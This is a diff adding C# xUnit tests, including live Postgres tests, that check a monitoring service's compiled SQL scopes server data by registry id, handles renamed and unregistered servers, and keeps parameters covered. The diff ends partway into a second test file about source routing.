+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5525: every composed fact read is scoped to its servers by <c>server_id</c> (the compression segment column, leading the time
+/// index), resolved from <c>collect.servers</c> by the scoped names inside the SQL. The old scope, <c>server_name = ANY($n)</c>,
+/// read every compressed chunk in full: on a 50-server store the filter removed 124 M rows of one 30 day statement read.
+///
+/// <para>These pins hold the compiled TEXT (no statement filters a fact table on <c>server_name = ANY</c>) and, live, the ROWS: a
+/// multi-server scope returns the same rows by id as by name, a renamed server's whole history is included, and a scoped name that
+/// no registry row carries keeps matching what it matched before.</para>
+/// </summary>
+public sealed class ComposeServerScopeByIdTests
+{
+    private static readonly DateTime Start = new(2026, 7, 23, 0, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime End = new(2026, 7, 23, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly string[] TwoServers = ["SERVER-A", "SERVER-B"];
+
+    /// <summary>The scope as the compiler spells it for names bound at <paramref name="n"/>.</summary>
+    private static string ByIdScope(int n) =>
+        $"server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY(${n})))";
+
+    private static PanelPlan Plan(string json)
+    {
+        var (plan, error) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(json)!, []);
+        Assert.True(error is null, error);
+        return plan!;
+    }
+
+    private static ComposeRunContext Context(
+        IReadOnlyList<string>? servers, RollupAvailability rollups, IReadOnlyList<string>? unregistered = null) =>
+        new(servers, Start, End, ComposeRunContext.NoVariables, rollups, End, RollupCoverage.Unknown, UnregisteredServers: unregistered);
+
+    private const string WaitPanel =
+        "{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"wait_type\"],\"includeOther\":true,\"viz\":\"line\"}";
+
+    private const string QueryStorePanel =
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\"}";
+
+    private const string EdgePanel =
+        "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":10,\"groupBy\":[\"database_name\",\"object_name\"],\"viz\":\"table\"}";
+
+    private static readonly DateTime EdgeNow = new(2026, 7, 23, 12, 0, 0, DateTimeKind.Utc);
+
+    private static ComposeCompiled Compile(PanelPlan plan, ComposeRunContext context)
+    {
+        var (compiled, error) = ComposeCompiler.Compile(plan, context);
+        Assert.True(error is null, error);
+        return compiled!;
+    }
+
+    /// <summary>One compiled statement per place the compiler emits the server scope: the raw fact read (ranked, with both passes), the
+    /// Query Store dedupe, a CAGG route, the hourly-raw-edges route with its module map overlay, the annotation query and the server
+    /// clock read.</summary>
+    private static IEnumerable<(string Label, string Sql)> ScopedStatements(IReadOnlyList<string>? unregistered)
+    {
+        yield return ("raw wait_stats, ranked time series", Compile(Plan(WaitPanel), Context(TwoServers, RollupAvailability.None, unregistered)).Sql);
+        yield return ("raw query_store_stats dedupe", Compile(Plan(QueryStorePanel), Context(TwoServers, RollupAvailability.None, unregistered)).Sql);
+
+        var caggPlan = Plan("{\"source\":\"query_store_stats\",\"ratio\":\"qs_avg_duration_us\",\"timeBucket\":\"day\",\"viz\":\"line\"}");
+        var cagg = new ComposeRunContext(
+            TwoServers, End.AddDays(-120), End.AddDays(-119), ComposeRunContext.NoVariables, RollupAvailability.All, End, RollupCoverage.Unknown,
+            UnregisteredServers: unregistered);
+        var caggSql = Compile(caggPlan, cagg).Sql;
+        Assert.Contains("collect.query_store_stats_corrected_daily AS f", caggSql, StringComparison.Ordinal);
+        yield return ("rollup route", caggSql);
+
+        var edgePlan = Plan(EdgePanel);
+        var coverage = new RollupCoverage(
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.QueryStatsIntervalHourlyView] = EdgeNow.AddDays(-3) },
+            new Dictionary<string, DateTime>(StringComparer.Ordinal),
+            RollupAvailability.All,
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.QueryStatsIntervalHourlyView] = EdgeNow.AddMinutes(-20) });
+        var edgeStart = EdgeNow.AddHours(-24);
+        var candidate = ComposeSourceRouter.HourlyRawEdgesCandidate(edgePlan, EdgeNow, edgeStart, EdgeNow, RollupAvailability.All, coverage);
+        Assert.NotNull(candidate);
+        var edge = new ComposeRunContext(
+            TwoServers, edgeStart, EdgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, EdgeNow, coverage,
+            HourlyEdges: new ComposeHourlyEdgesVerdict(candidate!.SourceTable, candidate.HourStartUtc, candidate.HourEndUtc, TwoServers),
+            ModuleMapThrough: EdgeNow.AddMinutes(-30), UnregisteredServers: unregistered);
+        yield return ("hourly raw edges with module map overlay", Compile(edgePlan, edge).Sql);
+
+        var annotated = Plan("{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\",\"annotations\":[\"deadlocks\"]}");
+        foreach (var (name, compiled) in ComposeCompiler.CompileAnnotations(annotated, Context(TwoServers, RollupAvailability.None, unregistered), ComposeCompiler.NoServerClocks))
+        {
+            yield return ($"annotation {name}", compiled.Sql);
+        }
+
+        yield return ("server clock read", ComposeCompiler.CompileServerClockRead(Context(TwoServers, RollupAvailability.None, unregistered)).Sql);
+    }
+
+    /// <summary>The statement scope names the registry and filters the fact on its id. A bare <c>server_name = ANY</c> on a fact is the
+    /// shape that read every compressed chunk in full; the only name filters left are the registry's own (<c>reg.</c>) and the module
+    /// map's (<c>mm.</c>, a small table keyed by name with no server_id).</summary>
+    [Fact]
+    public void NoCompiledStatement_FiltersAFactTable_OnServerNameAnyAlone()
+    {
+        var statements = ScopedStatements(null).ToList();
+        Assert.True(statements.Count >= 6, "the sweep must reach every emitter: " + string.Join(", ", statements.Select(s => s.Label)));
+
+        foreach (var (label, sql) in statements)
+        {
+            Assert.Contains("server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($", sql, StringComparison.Ordinal);
+            foreach (Match m in Regex.Matches(sql, @"[\w.]*server_name = ANY\("))
+            {
+                Assert.True(
+                    m.Value.StartsWith("reg.", StringComparison.Ordinal) || m.Value.StartsWith("mm.", StringComparison.Ordinal),
+                    $"{label}: filters on '{m.Value}' - a fact scoped by name reads every compressed chunk in full (#5525).");
+            }
+        }
+    }
+
+    /// <summary>The hourly-raw-edges statement scopes its fact alias once, outside the union, and the planner pushes the id list into
+    /// each arm; the procedure_stats overlay CTE carries its own scope.</summary>
+    [Fact]
+    public void HourlyRawEdges_ScopeTheFactAndTheModuleOverlay_ByIdAndTheMapByName()
+    {
+        var sql = ScopedStatements(null).Single(s => s.Label.StartsWith("hourly raw edges", StringComparison.Ordinal)).Sql;
+        Assert.Contains("          AND " + ByIdScope(3) + "\n", sql, StringComparison.Ordinal);
+        Assert.Contains("  AND f." + ByIdScope(3) + "\n", sql, StringComparison.Ordinal);
+        Assert.Contains("      AND mm.server_name = ANY($3)\n", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>A scoped name with no registry row can resolve to no id, so only those names also match the row's stored name. Every
+    /// emitter adds the branch, bound once, and the parameter set stays fully cited.</summary>
+    [Fact]
+    public void UnregisteredNames_AreMatchedByStoredName_OnEveryEmitter_AndNothingElse()
+    {
+        string[] ghost = ["GHOST"];
+        var statements = ScopedStatements(ghost).ToList();
+        Assert.True(statements.Count >= 6, "the sweep must reach every emitter: " + string.Join(", ", statements.Select(s => s.Label)));
+        foreach (var (label, sql) in statements)
+        {
+            /* EVERY by-id scope in the statement carries the arm: one match per statement would let a single CTE drop it. */
+            var scopes = Regex.Matches(sql, @"server_id = ANY\(ARRAY\(SELECT reg\.server_id FROM collect\.servers AS reg WHERE reg\.server_name = ANY\(\$\d+\)\)\)").Count;
+            var armed = Regex.Matches(sql, @"\(\w*\.?server_id = ANY\(ARRAY\(SELECT reg\.server_id FROM collect\.servers AS reg WHERE reg\.server_name = ANY\(\$\d+\)\)\) OR [\w.]*server_name = ANY\(\$\d+\)\)").Count;
+            Assert.True(scopes > 0, $"{label}: no by-id scope");
+            Assert.True(scopes == armed, $"{label}: {scopes} by-id scopes but {armed} carry the unregistered-name arm (#5525).");
+            Assert.DoesNotContain("GHOST", sql, StringComparison.Ordinal);
+        }
+
+        /* The hourly-raw-edges statement scopes the fact alias and the procedure_stats overlay: two scopes, both armed. */
+        var edges = statements.Single(x => x.Label.StartsWith("hourly raw edges", StringComparison.Ordinal)).Sql;
+        Assert.True(Regex.Matches(edges, @"server_id = ANY\(ARRAY\(").Count >= 2);
+
+        var plain = Compile(Plan(WaitPanel), Context(TwoServers, RollupAvailability.None, null));
+        var withGhost = Compile(Plan(WaitPanel), Context(TwoServers, RollupAvailability.None, ghost));
+        Assert.Equal(plain.Parameters.Count + 1, withGhost.Parameters.Count);
+        Assert.Equal(ghost, (string[])withGhost.Parameters[3].Value!);
+        Assert.Null(ComposeParameterCoverageTests.CoverageViolation("wait panel with an unregistered name", withGhost.Sql, withGhost.Parameters));
+        Assert.Equal(
+            ComposeParameterCoverageTests.PredictedParameterCount(Plan(WaitPanel), true, Context(TwoServers, RollupAvailability.None, ghost)),
+            withGhost.Parameters.Count);
+
+        var clock = ComposeCompiler.CompileServerClockRead(Context(TwoServers, RollupAvailability.None, ghost));
+        Assert.Equal(ComposeParameterCoverageTests.PredictedServerClockReadParameterCount(true, unregistered: true), clock.Parameters.Count);
+        Assert.Null(ComposeParameterCoverageTests.CoverageViolation("clock read with an unregistered name", clock.Sql, clock.Parameters));
+    }
+
+    /// <summary>The hourly-edges count guard proves the rollup over the scope the read takes: both of its sides carry the by-id scope
+    /// (and, when the run has unregistered names, the same arm on both), where it once filtered both on <c>server_name = ANY($3)</c>
+    /// and so never compared a renamed server's earlier-name hours.</summary>
+    [Fact]
+    public void TheCountGuard_ScopesTheLedgerAndTheRollup_ByTheSamePredicateTheReadUses()
+    {
+        var plain = IntervalRollupCountGuard.SqlFor(false);
+        Assert.Equal(plain, IntervalRollupCountGuard.QueryStatsSql);
+        Assert.Equal(2, Regex.Matches(plain, Regex.Escape(ByIdScope(3))).Count);
+        Assert.DoesNotContain("server_name = ANY($3))", plain.Replace("reg.server_name = ANY($3)", string.Empty, StringComparison.Ordinal), StringComparison.Ordinal);
+        Assert.DoesNotContain("$4", plain, StringComparison.Ordinal);
+
+        var armed = IntervalRollupCountGuard.SqlFor(true);
+        Assert.Equal(2, Regex.Matches(armed, Regex.Escape("(" + ByIdScope(3) + " OR server_name = ANY($4))")).Count);
+        Assert.Equal(ComposeCompiler.ServerScope(string.Empty, "$3", "$4"), ServerScopeSql.Predicate(string.Empty, "$3", "$4"));
+    }
+
+    /// <summary>The runner seam. Deleting either lookup leaves the compiler correct and every compiler test green, but a scope over a
+    /// name that has rows and no registry row would return nothing. The live tests below fail on a deleted call too; these pins read the
+    /// order: the panel runner looks the names up BEFORE the hourly-edges snapshot takes its connection, hands the answer to the
+    /// snapshot (for the count guard) and to the run context, and the alert sweep looks up once per server, outside the per-rule loop.</summary>
+    [Fact]
+    public void BothRunners_LookUpUnregisteredNames_BeforeTheyCompile_AndHandThemOn()
+    {
+        var web = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        var lookup = web.IndexOf("await ComposeServerScope.FindUnregisteredAsync(postgres, serverScope, cancellationToken", StringComparison.Ordinal);
+        var snapshot = web.IndexOf("await BeginHourlyEdgesSnapshotAsync(postgres, hourlyEdgesCandidate", StringComparison.Ordinal);
+        /* #5582: the ReadsStampRollup gate earlier in the runner builds a throwaway context only to ask whether the plan reads the
+           rollup. That one is never compiled, so the pin anchors on the assignment of the context the runner compiles. */
+        var context = web.IndexOf("var runContext = new ComposeRunContext(serverScope, start, end", StringComparison.Ordinal);
+        Assert.True(lookup > 0 && snapshot > lookup && context > snapshot, "lookup, then the snapshot, then the run context");
+        var gate = web.IndexOf("ComposeCompiler.ReadsStampRollup(plan!, new ComposeRunContext(", StringComparison.Ordinal);
+        Assert.True(gate > 0 && gate < lookup, "the stamp-rollup gate's context is a separate, earlier, throwaway one");
+        Assert.Equal(2, Regex.Matches(web, @"new ComposeRunContext\(").Count);
+        Assert.Contains("ComposeCompiler.Compile(plan!, runContext)", web[context..], StringComparison.Ordinal);
+        Assert.Contains("cancellationToken, unregisteredServers);", web[snapshot..context], StringComparison.Ordinal);
+        Assert.Contains("UnregisteredServers: unregisteredServers", web[context..(context + 700)], StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(web, @"ComposeServerScope\.FindUnregisteredAsync\("));
+
+        var alerts = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "CustomAlertEvaluator.cs");
+        Assert.Equal(2, Regex.Matches(alerts, @"ComposeServerScope\.FindUnregisteredAsync\(").Count);
+        var sweep = alerts.IndexOf("ComposeServerScope.FindUnregisteredAsync(_viewer", StringComparison.Ordinal);
+        var loop = alerts.IndexOf("foreach (var (row, def, _) in applicable)", StringComparison.Ordinal);
+        Assert.True(sweep > 0 && loop > sweep, "the sweep looks the names up once per server, before the per-rule loop");
+        Assert.Contains("UnregisteredServers: unregistered", alerts, StringComparison.Ordinal);
+        Assert.Contains("resolvedUnregistered ?? await ComposeServerScope.FindUnregisteredAsync(pool", alerts, StringComparison.Ordinal);
+    }
+
+    /// <summary>A fleet-wide run names no servers: no scope, no parameter, no registry read.</summary>
+    [Fact]
+    public void AFleetWideRun_CarriesNoServerScope_EvenWithUnregisteredNamesSupplied()
+    {
+        var compiled = Compile(Plan(WaitPanel), Context(null, RollupAvailability.None, ["GHOST"]));
+        Assert.DoesNotContain("server_id = ANY", compiled.Sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("collect.servers", compiled.Sql, StringComparison.Ordinal);
+        Assert.DoesNotContain(compiled.Parameters, p => p.Value is string[] names && names.Contains("GHOST"));
+    }
+}
+
+/// <summary>
+/// #5525, live: the by-id scope returns the rows the by-name scope returned, a renamed server's whole history follows its id, and a
+/// scoped name that no registry row carries still returns what it returned before.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ComposeServerScopeByIdLiveTests
+{
+    private const int IdA = -5525001;
+    private const int IdB = -5525002;
+    private const int IdC = -5525003;
+    private const int IdGhost = -5525009;
+    private const string NameA = "s5525-a";
+    private const string NameB = "s5525-b";
+    private const string NameC = "s5525-c";
+    private const string OldNameA = "s5525-a-before-rename";
+    private const string GhostName = "s5525-ghost";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string Panel =
+        "{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"topN\":20,\"groupBy\":[\"server\",\"wait_type\"],\"viz\":\"bar\"}";
+
+    private static ComposeCompiled CompileFor(string[] servers, DateTime end, IReadOnlyList<string>? unregistered = null)
+    {
+        var (plan, parseError) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(Panel)!, []);
+        Assert.True(parseError is null, parseError);
+        var (compiled, error) = ComposeCompiler.Compile(
+            plan!,
+            new ComposeRunContext(servers, end.AddHours(-3), end, ComposeRunContext.NoVariables, RollupAvailability.None, end, RollupCoverage.Unknown,
+                UnregisteredServers: unregistered));
+        Assert.True(error is null, error);
+        return compiled!;
+    }
+
+    /// <summary>The same statement with the scope the compiler used before #5525, to compare rows against.</summary>
+    private static string ByNameSql(string sql) =>
+        sql.Replace("f.server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))", "f.server_name = ANY($3)", StringComparison.Ordinal);
+
+    private static async Task<List<string>> RowsAsync(NpgsqlConnection connection, string sql, ComposeCompiled compiled, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = parameter.NpgsqlDbType, Value = parameter.Value });
+        }
+
+        var rows = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            var cells = new string[reader.FieldCount];
+            for (var i = 0; i < cells.Length; i++)
+            {
+                cells[i] = reader.IsDBNull(i) ? "<null>" : Convert.ToString(reader.GetValue(i), System.Globalization.CultureInfo.InvariantCulture) ?? string.Empty;
+            }
+
+            rows.Add(string.Join("|", cells));
+        }
+
+        rows.Sort(StringComparer.Ordinal);
+        return rows;
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, DateTime end, CancellationToken ct)
+    {
+        await CleanAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, IdA, NameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, IdB, NameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, IdC, NameC, ct);
+        var t = end.AddHours(-1);
+        await InsertAsync(connection, t, IdA, NameA, "CXPACKET", 100, ct);
+        await InsertAsync(connection, t, IdA, NameA, "WRITELOG", 7, ct);
+        await InsertAsync(connection, t, IdB, NameB, "CXPACKET", 200, ct);
+        await InsertAsync(connection, t, IdB, NameB, "LCK_M_X", 11, ct);
+        await InsertAsync(connection, t, IdC, NameC, "CXPACKET", 400, ct);
+    }
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, DateTime time, int serverId, string serverName, string waitType, long ms, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.wait_stats
+    (collection_id, collection_time, server_id, server_name, wait_type, waiting_tasks_count, wait_time_ms, signal_wait_time_ms,
+     delta_waiting_tasks, delta_wait_time_ms, delta_signal_wait_time_ms)
+VALUES (1, $1, $2, $3, $4, 1, $5, 0, 1, $5, 0)", connection);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(time, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(waitType);
+        command.Parameters.AddWithValue(ms);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task CleanAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[] { "wait_stats", "servers" })
+        {
+            await using var command = new NpgsqlCommand($"DELETE FROM collect.{table} WHERE server_id = ANY($1)", connection);
+            command.Parameters.AddWithValue(new[] { IdA, IdB, IdC, IdGhost });
+            await command.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    private static (NpgsqlConnection Connection, DateTime End) Skip(out string? cs)
+    {
+        cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live server-scope test.");
+        return (new NpgsqlConnection(cs), new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc));
+    }
+
+    [Fact]
+    public async Task AMultiServerScope_ReturnsTheSameRows_ById_AsByName()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (connection, end) = Skip(out var cs);
+        await using var _ = connection;
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, end, ct);
+            var compiled = CompileFor([NameA, NameB], end);
+            Assert.Contains("f.server_id = ANY(", compiled.Sql, StringComparison.Ordinal);
+
+            var byId = await RowsAsync(connection, compiled.Sql, compiled, ct);
+            var byName = await RowsAsync(connection, ByNameSql(compiled.Sql), compiled, ct);
+
+            Assert.NotEmpty(byName);
+            Assert.Equal(byName, byId);
+            Assert.DoesNotContain(byId, row => row.Contains(NameC, StringComparison.Ordinal));
+            Assert.Contains(byId, row => row.Contains(NameA, StringComparison.Ordinal));
+            Assert.Contains(byId, row => row.Contains(NameB, StringComparison.Ordinal));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The registry holds ONE current name per id and fact rows keep the name they were written under. A scope that names the
+    /// current name now includes the server's rows written under its earlier name. The old filter returned only the current spelling.</summary>
+    [Fact]
+    public async Task ARenamedServer_KeepsItsWholeHistory_UnderItsCurrentRegistryName()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (connection, end) = Skip(out var cs);
+        await using var _ = connection;
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, end, ct);
+            await InsertAsync(connection, end.AddHours(-2), IdA, OldNameA, "CXPACKET", 1000, ct);
+            var compiled = CompileFor([NameA], end);
+
+            var byId = await RowsAsync(connection, compiled.Sql, compiled, ct);
+            var byName = await RowsAsync(connection, ByNameSql(compiled.Sql), compiled, ct);
+
+            Assert.DoesNotContain(byName, row => row.Contains("1000", StringComparison.Ordinal));
+            Assert.Contains(byId, row => row.Contains("1000", StringComparison.Ordinal) && row.Contains(OldNameA, StringComparison.Ordinal));
+            Assert.Equal(byName.Count + 1, byId.Count);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private const string GhostWait = "GHOSTWAIT";
+
+    /// <summary>A panel run scoped to a name that has rows and no registry row, through the web runner itself. Deleting the runner's
+    /// lookup makes this return no row.</summary>
+    [Fact]
+    public async Task ThePanelRunner_ReturnsRowsForAScopeNameTheRegistryDoesNotHold()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (connection, end) = Skip(out var cs);
+        await using var _ = connection;
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, end, ct);
+            await InsertAsync(connection, end.AddHours(-1), IdGhost, GhostName, GhostWait, 33, ct);
+
+            await using var source = NpgsqlDataSource.Create(cs!);
+            var body = new JsonObject { ["panel"] = JsonNode.Parse(Panel), ["hours"] = 6, ["server"] = GhostName };
+            var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(source, body, ct);
+            Assert.True(outcome.Error is null, outcome.Error);
+            Assert.Contains(GhostWait, outcome.Payload!.ToJsonString(), StringComparison.Ordinal);
+
+            /* A registered name still reads by id, and does not pick up the ghost's rows. */
+            body["server"] = NameA;
+            var registered = await DarlingWebEndpoints.RunComposedPanelAsync(source, body, ct);
+            Assert.True(registered.Error is null, registered.Error);
+            var text = registered.Payload!.ToJsonString();
+            Assert.Contains("WRITELOG", text, StringComparison.Ordinal);
+            Assert.DoesNotContain(GhostWait, text, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The same through the custom-alert scalar seam: a storage name with rows and no registry row still reads its value, and
+    /// a sweep that already resolved the lookup (an empty answer) passes it through without a second read.</summary>
+    [Fact]
+    public async Task TheAlertScalarSeam_ReadsAStorageNameTheRegistryDoesNotHold()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (connection, end) = Skip(out var cs);
+        await using var _ = connection;
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, end, ct);
+            await InsertAsync(connection, end.AddHours(-1), IdGhost, GhostName, GhostWait, 33, ct);
+
+            var (definition, defError) = CustomAlertRuleDefinition.TryParse(
+                "{\"metric\":{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"hours\":3}," +
+                "\"predicate\":{\"op\":\"ge\",\"warnThreshold\":1}}");
+            Assert.True(defError is null, defError);
+
+            await using var source = NpgsqlDataSource.Create(cs!);
+            var value = await CustomAlertEvaluator.EvaluateScalarNowAsync(
+                source, definition!, GhostName, end, RollupAvailability.None, RollupCoverage.Unknown, 30, logger: null, ct);
+            Assert.Equal(33d, value);
+
+            /* A sweep passes its once-per-server answer: an empty list means nothing is unregistered, so the ghost matches no id. */
+            var passedThrough = await CustomAlertEvaluator.EvaluateScalarNowAsync(
+                source, definition!, GhostName, end, RollupAvailability.None, RollupCoverage.Unknown, 30, logger: null, ct,
+                resolvedUnregistered: Array.Empty<string>());
+            Assert.Null(passedThrough);
+
+            var registered = await CustomAlertEvaluator.EvaluateScalarNowAsync(
+                source, definition!, NameA, end, RollupAvailability.None, RollupCoverage.Unknown, 30, logger: null, ct);
+            Assert.Equal(107d, registered);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>A scoped name that no registry row carries (rows exist under it, as they do for a server renamed since): the runner finds
+    /// it, the compiler keeps matching it by stored name, and the read returns what the old scope returned. Without that, the by-id
+    /// scope alone returns nothing for it.</summary>
+    [Fact]
+    public async Task AnUnregisteredName_StillReturnsItsRows_WhenTheRunnerFindsItAndTheCompilerKeepsTheNameBranch()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (connection, end) = Skip(out var cs);
+        await using var _ = connection;
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, end, ct);
+            await InsertAsync(connection, end.AddHours(-1), IdGhost, GhostName, "CXPACKET", 33, ct);
+            string[] scope = [NameA, GhostName];
+
+            await using var source = NpgsqlDataSource.Create(cs!);
+            var unregistered = await ComposeServerScope.FindUnregisteredAsync(source, scope, ct);
+            Assert.Equal([GhostName], unregistered);
+            Assert.Null(await ComposeServerScope.FindUnregisteredAsync(source, [NameA, NameB], ct));
+            Assert.Null(await ComposeServerScope.FindUnregisteredAsync(source, null, ct));
+
+            var withBranch = CompileFor(scope, end, unregistered);
+            var oldSql = ByNameSql(CompileFor(scope, end).Sql);
+            var expected = await RowsAsync(connection, oldSql, CompileFor(scope, end), ct);
+            var actual = await RowsAsync(connection, withBranch.Sql, withBranch, ct);
+
+            Assert.Contains(expected, row => row.Contains(GhostName, StringComparison.Ordinal));
+            Assert.Equal(expected, actual);
+
+            var withoutBranch = CompileFor(scope, end);
+            var dropped = await RowsAsync(connection, withoutBranch.Sql, withoutBranch, ct);
+            Assert.DoesNotContain(dropped, row => row.Contains(GhostName, StringComparison.Ordinal));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeSourceRouterTests.cs b/Darling/Darling.Tests/ComposeSourceRouterTests.cs
index ff83096cf4..e388175b1d 100644
--- a/Darling/Darling.Tests/ComposeSourceRouterTests.cs
+++ b/Darling/Darling.Tests/ComposeSourceRouterTests.cs
@@ -446,4 +446,354 @@ public void DailyAgeWindow_DailyMissing_FallsToHourly()
         Assert.Equal(ComposeSourceTier.Hourly, route.Tier);
         Assert.Equal("query_stats_hourly", route.CaggRelation);
     }
+
+    /* ─────────────── the FROM clause and stitch boundary a route carries ─────────────── */
+
+    private static RollupCoverage QueryStatsHourlyStore(DateTime successorFloor) => new(
+        new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsHourlyView] = Now.AddDays(-80),
+            [TimescaleSupport.QueryStatsIntervalHourlyView] = successorFloor,
+            [TimescaleSupport.QueryStatsDailyView] = Now.AddDays(-110),
+        },
+        new Dictionary<string, DateTime>(StringComparer.Ordinal) { ["query_stats"] = Now.AddDays(-4) },
+        RollupAvailability.All);
+
+    /// <summary>The route carries the instant its stitched clause splits at, as a value, so the data-start probe
+    /// reads the successor over the range the panel does. A route that reads one relation carries none.</summary>
+    [Fact]
+    public void AStitchedHourlyRoute_CarriesTheBoundaryItSplitsAt_AndAnUnstitchedOneCarriesNone()
+    {
+        var windowStart = Now.AddDays(-10);
+
+        var stitched = ComposeSourceRouter.Resolve(Plan("query_worker_us"), Now, windowStart, RollupAvailability.All, QueryStatsHourlyStore(Now.AddDays(-1)));
+        Assert.Equal(ComposeSourceTier.Hourly, stitched.Tier);
+        Assert.Equal(Now.AddDays(-1), stitched.StitchBoundaryUtc);
+        Assert.Contains("UNION ALL", stitched.CaggFromClause, StringComparison.Ordinal);
+
+        var covered = ComposeSourceRouter.Resolve(Plan("query_worker_us"), Now, windowStart, RollupAvailability.All, QueryStatsHourlyStore(Now.AddDays(-80)));
+        Assert.Equal(ComposeSourceTier.Hourly, covered.Tier);
+        Assert.Null(covered.StitchBoundaryUtc);
+        Assert.DoesNotContain("UNION ALL", covered.CaggFromClause, StringComparison.Ordinal);
+    }
+
+    /// <summary>The daily boundary is the first whole day after the successor hourly's first bucket, so the successor
+    /// daily can hold the day before it, which the stitched read leaves to the superseded daily.</summary>
+    [Fact]
+    public void AStitchedDailyRoute_CarriesTheBoundaryItSplitsAt()
+    {
+        var coverage = new RollupCoverage(
+            new Dictionary<string, DateTime>(StringComparer.Ordinal)
+            {
+                [TimescaleSupport.QueryStatsHourlyView] = Now.AddDays(-400),
+                [TimescaleSupport.QueryStatsDailyView] = Now.AddDays(-400),
